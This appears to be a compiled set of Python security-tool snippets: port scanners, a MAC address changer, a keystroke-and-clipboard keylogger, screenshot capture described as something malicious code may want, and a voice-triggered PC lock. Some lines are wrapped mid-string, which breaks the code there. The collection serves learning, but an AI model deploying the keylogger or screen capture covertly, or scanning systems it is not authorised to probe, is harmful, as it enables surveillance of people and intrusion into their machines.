Writing security tools in python

Python port scanner

https://www.geeksforgeeks.org/port-scanner-using-python/

```
import pyfiglet
import sys
import socket
from datetime import datetime

ascii_banner = pyfiglet.figlet_format("PORT SCANNER")
print(ascii_banner)

# Defining a target
if len(sys.argv) == 2:

        # translate hostname to IPv4
        target = socket.gethostbyname(sys.argv[1])
else:
        print("Invalid ammount of Argument")

# Add Banner
print("-" * 50)
print("Scanning Target: " + target)
print("Scanning started at:" + str(datetime.now()))
print("-" * 50)

try:

        # will scan ports between 1 to 65,535
        for port in range(1,65535):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                socket.setdefaulttimeout(1)

                # returns an error indicator
                result = s.connect_ex((target,port))
                if result == 0:
                        print("Port {} is open".format(port))
                s.close()

except KeyboardInterrupt:
                print("\n Exitting Program !!!!")
                sys.exit()
except socket.gaierror:
                print("\n Hostname Could Not Be Resolved !!!!")
                sys.exit()
except socket.error:
                print("\ Server not responding !!!!")
                sys.exit()
```

Port scanner using python-nmap

https://www.geeksforgeeks.org/port-scanner-using-python-nmap

Firs you need to install

pip install python-nmap

```
import nmap

# take the range of ports to
# be scanned
begin = 75
end = 80

# assign the target ip to be scanned to
# a variable
target = '127.0.0.1'

# instantiate a PortScanner object
scanner = nmap.PortScanner()

for i in range(begin,end+1):

        # scan the target port
        res = scanner.scan(target,str(i))

        # the result is a dictionary containing
        # several information we only need to
        # check if the port is opened or closed
        # so we will access only that information
        # in the dictionary
        res = res['scan'][target]['tcp'][i]['state']

        print(f'port {i} is {res}.')
```

Another port scanner can be found at

https://github.com/YaokaiYang-assaultmaster/py3PortScanner

Python generic UDP and TCP scanner

https://github.com/drakeloud/pythonScanner

```
#!/usr/bin/python
from __future__ import print_function

import argparse
import os
import socket
import sys
from datetime import datetime

from netaddr import IPNetwork

# Set up argparse
parser = argparse.ArgumentParser()
parser.add_argument("hosts")
parser.add_argument("ports")
parser.add_argument("-u", "--UDP", help="Perform a UDP scan on the ports
specified", action="store_true")
parser.add_argument("-t", "--traceroute", help="Use traceroute with the
scan", action="store_true")
args = vars(parser.parse_args())

# Start timer! woo hoo!
timeOne = datetime.now()

# Clean the ports that you received
portsUgly = args['ports']
ports = portsUgly.split(",")
UDP = args['UDP']
hostValue = args['hosts']
hosts = []


def clear_screen():
    """
    Clear screen that handle multiple OS.
    """
    if os.name == 'nt':
        os.system('cls')
    else:
        os.system('clear')


def scan_ports(host):
    """
    Function to get the ports for every host
    """
    try:
        for port in ports:
            # Goes through each port in range
            port = int(port)
            # Here's the scan of the port
            if UDP:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            else:
```

```
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            result = sock.connect_ex((host, port))

            if UDP:
                if result == 0:
                    print("UDP Port {}: \t Open".format(port))
            else:
                if result == 0:
                    print("TCP Port {}: \t Open".format(port))
            sock.close()

    # Error handling if something goes bad
    except socket.gaierror:
        print('Couldnt find hostname. The hostname may be invalid or
incorrect.')
        sys.exit()
    except socket.error:
        print('Bad connection to server. Try again later.')
        sys.exit()
    except KeyboardInterrupt:
        print('Bye..')
        sys.exit()


if __name__ == '__main__':
    clear_screen()

print("**********************************************************************
*****")
    print("                     Scanning hosts, please wait...")

print("**********************************************************************
*****")
    print("")
    print("User entered ports: ", portsUgly)
    print("")
    print("User entered hosts: ", hostValue)
    print("")
    if UDP:
        print("Currently Scanning UDP ports...")
    else:
        print("Currently Scanning TCP ports...")
    print("")

    # Get Hosts Values
    if "/" in hostValue:
        ip = IPNetwork(hostValue)
        ip_list = list(ip)

        for ip in IPNetwork(hostValue).iter_hosts():
            hosts.append('%s' % ip)

    else:
        hosts.append(hostValue)

    print("----------------RESULTS----------------")
```

```
    for host in hosts:
        print("Scanning host: ", host)
        scan_ports(host)
        print("")

    timeTwo = datetime.now()

    finalTime = timeTwo - timeOne
    print("Scan finished in the following time: ", finalTime)

print("**********************************************************************
*****")
    print("                Hosts Scanned. Finishing up... (-.-)Zzz...")

print("**********************************************************************
*****")
```

Mac address changer (on linux)

https://github.com/rajan98/macky

```
import subprocess
import argparse
import re


def find_mac(interface):
    try:
        result = subprocess.check_output(['ifconfig', interface])
    except:
        print('[-] Device Not found')
        exit()
    all_mac = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(result))
    if not all_mac:
        return None
    return all_mac.group(0)


def change_mac(interface, new_mac):
    print('[+] Changing MAC of {0} to {1}'.format(interface, new_mac))
    oldMac = find_mac(interface)
    if oldMac:
        print('old MAC: {0}'.format(oldMac))
        subprocess.call(['ifconfig', interface, 'down'])
        subprocess.call(['ifconfig', interface, 'hw', 'ether', new_mac])
        subprocess.call(['ifconfig', interface, 'up'])

        newMac = find_mac(interface)
        if newMac:
            if newMac == oldMac:
                print('[-] Unable to change the MAC address')
            else:
                print('[+] MAC address was changed Successfully to
{0}'.format(newMac))
    else:
        print('[-] Could not Find MAC address for specified interface')


def main():
    parser = argparse.ArgumentParser(
        description='This script is used to change the Mac address of any
network card',
        epilog= 'This is how you use this script'
    )
    parser.add_argument('interface', help='Enter the name of the
interface')
    parser.add_argument('mac', help='Enter new MAC address')

    args = parser.parse_args()

    change_mac(args.interface, args.mac)


if __name__ == "__main__":
    main()
```

Keylogger

The following code shows a keylogger implementation in python.

https://www.instructables.com/KeyClip-a-Keylogger-Clipboard-Logger-With-Python3-/

```
from pynput.keyboard import Listener
from pyperclip import paste
import logging
from time import sleep
import threading

logging.basicConfig(filename='KeyClip.log', level=logging.INFO,
format='%(asctime)s: %(message)s')

def onPress(key):
    logging.info('Key:  ' + str(key))

def keyLogger():
    with Listener(on_press=onPress) as l:
        l.join()

def clipLogger():
    prevClip = ''
    while True:
```

```
        clip = paste()
        if prevClip != clip:
            logging.info('Clip:  '+ clip)
            prevClip = clip
        sleep(0.2)

keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread(target=clipLogger)

keyThread.start()
clipThread.start()
```

Capture a screenshot 1

Malicious code may want to capture a screenshot. The following code shows how to implement that in python.

https://www.geeksforgeeks.org/how-to-take-screenshots-using-python/

pip install numpy

pip install pyautogui

pip install opencv-python

```
# Python program to take
# screenshots


import numpy as np
import cv2
import pyautogui


# take screenshot using pyautogui
image = pyautogui.screenshot()

# since the pyautogui takes as a
# PIL(pillow) and in RGB we need to
# convert it to numpy array and BGR
# so we can write it to the disk
image = cv2.cvtColor(np.array(image),
                     cv2.COLOR_RGB2BGR)

# writing it to the disk using opencv
cv2.imwrite("image1.png", image)
```

Capture a screenshot 2

https://www.geeksforgeeks.org/taking-screenshots-using-pyscreenshot-in-python

```
pip install pyscreenshot
```

```
# Program to take screenshot

import pyscreenshot
```

```
# To capture the screen
image = pyscreenshot.grab()

# To display the captured screenshot
image.show()

# To save the screenshot
image.save("myscreenshot.png")
```

Lock PC with voice command

https://www.sujeetkrsingh.com/lock-pc-with-voice-command-using-python

pip install SpeechRecognition

```
# ctypes module to load windows library
import ctypes
# speech recognition module
import speech_recognition as sr

# obtain audio from the microphone
r = sr.Recognizer()
with sr.Microphone() as source:
    print("Say something!")
    audio = r.listen(source)

# recognize speech using Google Speech Recognition
try:
    # Here we are using default API which comes with the speech recognition
module and is in built
    # If you want to use your own API key please use this code
`r.recognize_google(audio, key="GOOGLE_SPEECH_RECOGNITION_API_KEY")`
    # instead of `r.recognize_google(audio)`
    cmd=r.recognize_google(audio)
    # handle the exceptions
except sr.UnknownValueError:
    print("Google Speech Recognition could not understand audio")
except sr.RequestError as e:
    print("Could not request results from Google Speech Recognition
service; {0}".format(e))

# Match and compare the pattern of the voice command. You can change it
yours.
if cmd=="lock my PC":
        # Load and execute the command to lock the PC. This function is
available in default library (user32.dll) of windows
    ctypes.windll.user32.LockWorkStation()
```